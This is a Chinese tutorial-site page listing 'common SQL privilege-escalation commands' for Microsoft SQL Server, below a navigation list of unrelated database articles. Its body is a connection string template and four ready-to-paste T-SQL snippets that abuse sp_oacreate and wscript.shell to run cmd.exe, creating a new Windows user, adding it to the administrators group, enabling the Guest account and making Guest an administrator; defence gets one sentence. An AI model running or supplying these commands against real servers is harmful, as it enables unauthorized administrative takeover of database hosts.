繁體中文当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL 提权 常用命令
- MSSQL
- 优化SQL Server索引的小技巧
- SQL Server的空值处理策略
- Windows上的MySQL UDF开发
- MS SQLSERVER中如何快速获取表的记录总数
- MS SQLSERVER 中如何得到表的创建语句
- 使用索引调节向导调整应用程序的性能
- 使用查询分析器调整SQL服务器脚本
- SQL Server到Oracle连接服务器的实现
- 数据库查询结果的动态排序(6)
- 数据库查询结果的动态排序(7)
- 保持Oracle数据库优良性能的若干诀窍
- 数据库管理员制胜之宝
- 在Linux下访问MS SQL Server数据库
- 关于如何在查询结果中添加自动编号
- 如何提取除最新十条记录之外的所有记录？
- 一个有关DISTINCT的问题解答
- 关于MSSQL Server中DATETIME类型数据的处理
- TOP N 和SET ROWCOUNT N 哪个更快？
- 金额阿拉伯数字转换为中文的存储过程
- 谈谈数据从sql server数据库导入mysql数据库的体验
MSSQL 中的 SQL 提权 常用命令
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 81 ::
收藏到网摘: n/a
SQL 提权 常用命令，大家可以考虑下将sqlserver的服务运行权限设置为普通用户，即可防止下面的提权。 1、连接数据库
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法，可以参考软晨学习网服务器安全设置栏目。
评论 (0) All
